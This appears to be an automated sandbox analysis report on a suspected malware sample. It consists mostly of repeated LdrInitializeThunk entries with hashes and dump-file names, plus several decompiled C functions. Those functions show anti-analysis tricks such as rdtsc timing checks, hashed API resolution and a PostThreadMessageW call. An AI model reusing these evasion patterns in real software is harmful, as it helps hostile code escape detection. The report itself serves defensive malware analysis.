LdrInitializeThunk.NTDLL ref: 008F0086

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e361fdd744b37e572f0fb281d5ba342fdf237642d1eded7d2c73f776bcbc3673
Instruction ID: 3a645d05db048e5a2937cf36c3d58d647fc753ae06e93f94360992995f7f05c0
Opcode Fuzzy Hash: e361fdd744b37e572f0fb281d5ba342fdf237642d1eded7d2c73f776bcbc3673
Instruction Fuzzy Hash: 2AB012B1504640C7F304F704D905B16B212FBD0F00F408938A14F86591D73DAD2CC78B

Uniqueness

Uniqueness Score: -1.00%

Function 008EF9F0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 008EF9FB

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction ID: 864711eabb7dc0f9c0a00528bc7204798e3bbfe8ecaf20bba7921b9fd7ea0c89
Opcode Fuzzy Hash: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction Fuzzy Hash: B8B012B2200640C7F3199714D90AF4BB310FBD0F00F00CA3AA00781890DA3C992CC44A

Uniqueness

Uniqueness Score: -1.00%

Function 008EF900, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 008EF90E

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction ID: 05ac91611fc184a3f88202f4b9a2f722369f22817df951cee1fa85cf63676e78
Opcode Fuzzy Hash: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction Fuzzy Hash: A2B01272605540C7F30ADB04D915B467251FBC0F00F408934E50746590D77D9E38D587

Uniqueness

Uniqueness Score: -1.00%

Function 008EFAD0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 008EFADB

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction ID: b885d126f35a04098635745a666b93c7a8e67e4acbf17db3f6051f78ecae7b76
Opcode Fuzzy Hash: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction Fuzzy Hash: 9AB01273104944C7E349A714DD06B8B7210FBC0F01F00893AA00786851DB389A2CE986

Uniqueness

Uniqueness Score: -1.00%

Function 008EFAE8, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 008EFAF3

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction ID: bb22edd625d441e86b4201bf2007cb1784deb073e32f09f3a807e6c8f80ed535
Opcode Fuzzy Hash: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction Fuzzy Hash: ACB01272104544C7F3099714ED06B8B7210FB80F00F00893AA007828A1DB39992CE456

Uniqueness

Uniqueness Score: -1.00%

Function 008EFBB8, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 008EFBC3

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction ID: 98b7ab4c3374ce945d87304c272764997da5ea40185bb6170513ade09291bf69
Opcode Fuzzy Hash: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction Fuzzy Hash: 97B012721005C4C7E30D9714D906B8F7210FB80F00F00893AA40782861DB789A2CE45A

Uniqueness

Uniqueness Score: -1.00%

Function 008EFB68, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 008EFB73

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction ID: fe3894545e6d7ff35e2d014bd1b41c27fc981d7cba2425ddd0908e3dd582fca9
Opcode Fuzzy Hash: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction Fuzzy Hash: 17B01272100544C7E3099714D906B8B7210FB80F00F008E3AA04782991DB78992DE446

Uniqueness

Uniqueness Score: -1.00%

Function 008EFC90, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 008EFC9B

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c03c3f025ade335fb37a3227fdd9bdec0ce29723ea859b950f344d641557639d
Instruction ID: 41c45e5f09b42d6e0ddb2dc3248e04f5cc5ab51982cd1fe1d329002f24c15819
Opcode Fuzzy Hash: c03c3f025ade335fb37a3227fdd9bdec0ce29723ea859b950f344d641557639d
Instruction Fuzzy Hash: 14B01272104580C7E349AB14D90AB5BB210FB90F00F40893AE04B81850DA3C992CC546

Uniqueness

Uniqueness Score: -1.00%

Function 008EFC60, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 008EFC6B

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction ID: 69502d12976c3e383ebc8ea250e6427301c1fd9f045747c541fd94b810363c34
Opcode Fuzzy Hash: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction Fuzzy Hash: 3AB01277105940C7E349A714DD0AB5B7220FBC0F01F00893AE00781890DA38993CC54A

Uniqueness

Uniqueness Score: -1.00%

Function 008EFD8C, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 008EFD9A

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction ID: c46011bb0c46dfed5c8ab186c0f719e5b9e72ad0d6ef7da6a0d9d2ed8661a3c9
Opcode Fuzzy Hash: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction Fuzzy Hash: 8FB0927110054087E205A704D905B4AB212FB90B00F808A35A4468A591D66A9A28C686

Uniqueness

Uniqueness Score: -1.00%

Function 008EFDC0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 008EFDCB

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction ID: d88988b585cc81dca5f800d6bb39f1198a76ae257c125849f4a62a02810904f6
Opcode Fuzzy Hash: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction Fuzzy Hash: 20B01272140540C7E30A9714DA56B4B7220FB80F40F008D3AA04781891DBB89B2CD486

Uniqueness

Uniqueness Score: -1.00%

Function 008EFEA0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 008EFEAB

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6032af2d0d5c3e144073b0b78b369b1f4db831bf511812c370cfa36f16aa84fd
Instruction ID: c5322eb374cbfb3adeb08d178b54e1ae74a7d58a0408861c097d1ba4bd942992
Opcode Fuzzy Hash: 6032af2d0d5c3e144073b0b78b369b1f4db831bf511812c370cfa36f16aa84fd
Instruction Fuzzy Hash: 0DB01272200640C7F31A9714D906F4B7210FB80F00F00893AA007C19A1DB389A2CD556

Uniqueness

Uniqueness Score: -1.00%

Function 008EFED0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 008EFEDB

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction ID: 9b30904a3bfeb6814e26683714e5c097bc05a41d35c26203adaeaac906fc0f52
Opcode Fuzzy Hash: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction Fuzzy Hash: C9B01272100580C7E34EA714D906B4B7210FB80F00F408A3AA00781891DB789B2CD98A

Uniqueness

Uniqueness Score: -1.00%

Function 008EFFB4, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 008EFFBF

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction ID: 7e2af0442ae64c9f6bb8df8c94f4cb17495a0f0e8e42cafe04a2b86fa0e4786e
Opcode Fuzzy Hash: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction Fuzzy Hash: A2B012B2104580C7E3099714D906F4B7210FB90F00F40893EA00F81851DB3CD92CD44A

Uniqueness

Uniqueness Score: -1.00%

Function 00409A80, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00409A80(intOrPtr _a4) {
				intOrPtr _v8;
				char _v24;
				char _v284;
				char _v804;
				char _v840;
				void* _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t39;
				void* _t50;
				intOrPtr _t52;
				void* _t53;
				void* _t54;
				void* _t55;
				void* _t56;

				_t52 = _a4;
				_t39 = 0; // executed
				_t24 = E00407E80(_t52,  &_v24); // executed
				_t54 = _t53 + 8;
				if(_t24 != 0) {
					E00408090( &_v24,  &_v840);
					_t55 = _t54 + 8;
					do {
						E0041B800( &_v284, 0x104);
						E0041BE70( &_v284,  &_v804);
						_t56 = _t55 + 0x10;
						_t50 = 0x4f;
						while(1) {
							_t31 = E00414DB0(E00414D50(_t52, _t50),  &_v284);
							_t56 = _t56 + 0x10;
							if(_t31 != 0) {
								break;
							}
							_t50 = _t50 + 1;
							if(_t50 <= 0x62) {
								continue;
							} else {
							}
							goto L8;
						}
						_t9 = _t52 + 0x14; // 0xffffe055
						 *(_t52 + 0x474) =  *(_t52 + 0x474) ^  *_t9;
						_t39 = 1;
						L8:
						_t33 = E004080C0( &_v24,  &_v840);
						_t55 = _t56 + 8;
					} while (_t33 != 0 && _t39 == 0);
					_t34 = E00408140(_t52,  &_v24); // executed
					if(_t39 == 0) {
						asm("rdtsc");
						asm("rdtsc");
						_v8 = _t34 - 0 + _t34;
						 *((intOrPtr*)(_t52 + 0x55c)) =  *((intOrPtr*)(_t52 + 0x55c)) + 0xffffffba;
					}
					 *((intOrPtr*)(_t52 + 0x31)) =  *((intOrPtr*)(_t52 + 0x31)) + _t39;
					_t20 = _t52 + 0x31; // 0x5608758b
					 *((intOrPtr*)(_t52 + 0x32)) =  *((intOrPtr*)(_t52 + 0x32)) +  *_t20 + 1;
					return 1;
				} else {
					return _t24;
				}
			}

0x00409a8b
0x00409a93
0x00409a95
0x00409a9a
0x00409a9f
0x00409ab2
0x00409ab7
0x00409ac0
0x00409acc
0x00409adf
0x00409ae4
0x00409ae7
0x00409af0
0x00409b02
0x00409b07
0x00409b0c
0x00000000
0x00000000
0x00409b0e
0x00409b12
0x00000000
0x00000000
0x00409b14
0x00000000
0x00409b12
0x00409b16
0x00409b19
0x00409b1f
0x00409b21
0x00409b2c
0x00409b31
0x00409b34
0x00409b41
0x00409b4c
0x00409b4e
0x00409b54
0x00409b58
0x00409b5b
0x00409b5b
0x00409b62
0x00409b65
0x00409b6a
0x00409b77
0x00409aa6
0x00409aa6
0x00409aa6

Memory Dump Source

Source File: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea422489a25dcefea3ed0f1b9a3fefea2ebcd7ffde6029fed25eb79b3bdcb825
Instruction ID: 31b1220a7bfbfd16f43a3644c83f2c17606f0388dd956b3420c92d1797c928f5
Opcode Fuzzy Hash: ea422489a25dcefea3ed0f1b9a3fefea2ebcd7ffde6029fed25eb79b3bdcb825
Instruction Fuzzy Hash: 202137B2D4020857CB25DA64AD42AEF73BCAB54304F04007FE949A7182F63CBE49CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A020, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(004144F6,?,oLA,00414C6F,?,004144F6,?,?,?,?,?,00000000,00409CC3,?), ref: 0041A04D

Strings

oLA, xrefs: 0041A03C, 0041A048

Memory Dump Source

Source File: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID: oLA
API String ID: 1279760036-3789366272
Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction ID: 3e9cccf5f91448adbf19cee7c08a6922c38dacc77a606dc9f5f43a2a80c29887
Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction Fuzzy Hash: 4BE012B1210208ABDB14EF99CC41EA777ACAF88664F118559BA185B242C630F9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 004082E8, Relevance: 1.6, APIs: 1, Instructions: 62
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E004082E8(void* __eax, intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				long __edi;
				signed int __esi;
				void* __ebp;
				void* _t10;

				asm("xlatb");
				_t10 = __eax + 0x6479b027;
				if(_t10 <= 0) {
					return _t10;
				} else {
					_push(__ebp);
					__ebp = __esp;
					__esp = __esp - 0x40;
					_push(__esi);
					__eax =  &_v67;
					_v68 = 0;
					E0041B850( &_v67, 0, 0x3f) = E0041C3F0( &_v68, 3);
					_a4 = _a4 + 0x1c;
					__eax = E0040ACC0(__eflags, _a4 + 0x1c,  &_v68); // executed
					__eax = E00414E10(__esi, __eax, 0, 0, 0xc4e7b6d6);
					__esi = __eax;
					__eflags = __esi;
					if(__esi != 0) {
						_push(__edi);
						__edi = _a8;
						__eax = PostThreadMessageW(__edi, 0x111, 0, 0); // executed
						__eflags = __eax;
						if(__eflags == 0) {
							__eax = E0040A450(__eflags, 1, 8);
							__eax = __al & 0x000000ff;
							__eax =  *__esi(__edi, 0x8003, __ebp + (__al & 0x000000ff) - 0x40, __eax);
						}
						_pop(__edi);
					}
					_pop(__esi);
					__esp = __ebp;
					_pop(__ebp);
					return __eax;
				}
			}

0x004082e8
0x004082e9
0x004082ee
0x00408285
0x004082f0
0x004082f0
0x004082f1
0x004082f3
0x004082f6
0x004082f9
0x004082ff
0x0040830e
0x0040831a
0x0040831e
0x0040832e
0x00408333
0x00408338
0x0040833a
0x0040833c
0x0040833d
0x0040834a
0x0040834c
0x0040834e
0x00408355
0x0040835a
0x0040836b
0x0040836b
0x0040836d
0x0040836d
0x0040836e
0x0040836f
0x00408371
0x00408372
0x00408372

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040834A

Memory Dump Source

Source File: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: f0663417be37ac60b37dcc60ca7b55f8b7b07ade5726b6813b2dfe337a929214
Instruction ID: f06a3c84731485efd8bcf30288739964e45de6767f589b29d5a6b80fc1befc2c
Opcode Fuzzy Hash: f0663417be37ac60b37dcc60ca7b55f8b7b07ade5726b6813b2dfe337a929214
Instruction Fuzzy Hash: 8A01DD31A803187BE720A6999D43FFF775CAB40F54F04416EFF04FA2C1D6A9691642EA

Uniqueness

Uniqueness Score: -1.00%

Function 004082F0, Relevance: 1.6, APIs: 1, Instructions: 55
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E004082F0(void* __eflags, intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				void* _t12;
				intOrPtr* _t13;
				int _t14;
				long _t21;
				intOrPtr* _t25;
				void* _t26;
				void* _t30;

				_t30 = __eflags;
				_v68 = 0;
				E0041B850( &_v67, 0, 0x3f);
				E0041C3F0( &_v68, 3);
				_t12 = E0040ACC0(_t30, _a4 + 0x1c,  &_v68); // executed
				_t13 = E00414E10(_a4 + 0x1c, _t12, 0, 0, 0xc4e7b6d6);
				_t25 = _t13;
				if(_t25 != 0) {
					_t21 = _a8;
					_t14 = PostThreadMessageW(_t21, 0x111, 0, 0); // executed
					_t32 = _t14;
					if(_t14 == 0) {
						_t14 =  *_t25(_t21, 0x8003, _t26 + (E0040A450(_t32, 1, 8) & 0x000000ff) - 0x40, _t14);
					}
					return _t14;
				}
				return _t13;
			}

0x004082f0
0x004082ff
0x00408303
0x0040830e
0x0040831e
0x0040832e
0x00408333
0x0040833a
0x0040833d
0x0040834a
0x0040834c
0x0040834e
0x0040836b
0x0040836b
0x00000000
0x0040836d
0x00408372

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040834A

Memory Dump Source

Source File: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 195adcb3c98d531bb162281db2f5ccaf52fb57ebc6795e714fc563aee22d5922
Instruction ID: 7ca1aeaa7978e6d3a4d0f1b4208387e2518013786dff53ee4b69e84d93d23419
Opcode Fuzzy Hash: 195adcb3c98d531bb162281db2f5ccaf52fb57ebc6795e714fc563aee22d5922
Instruction Fuzzy Hash: 7301AC31A803187BE720A6959C43FFF775C6B40F54F05411DFF04BA1C1D6A9691546FA

Uniqueness

Uniqueness Score: -1.00%

Function 0041A060, Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00409CC3,?,?,00409CC3,00000060,00000000,00000000,?,?,00409CC3,?,00000000), ref: 0041A08D

Memory Dump Source

Source File: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction ID: 52797000195eaed384c72aa9dcce9225c0ea881c405841437723114bb70c3a82
Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction Fuzzy Hash: AEE012B1210208ABDB18EF99CC49EA777ACAF88760F018559BA185B242C630E9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A1C0, Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A1C0(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
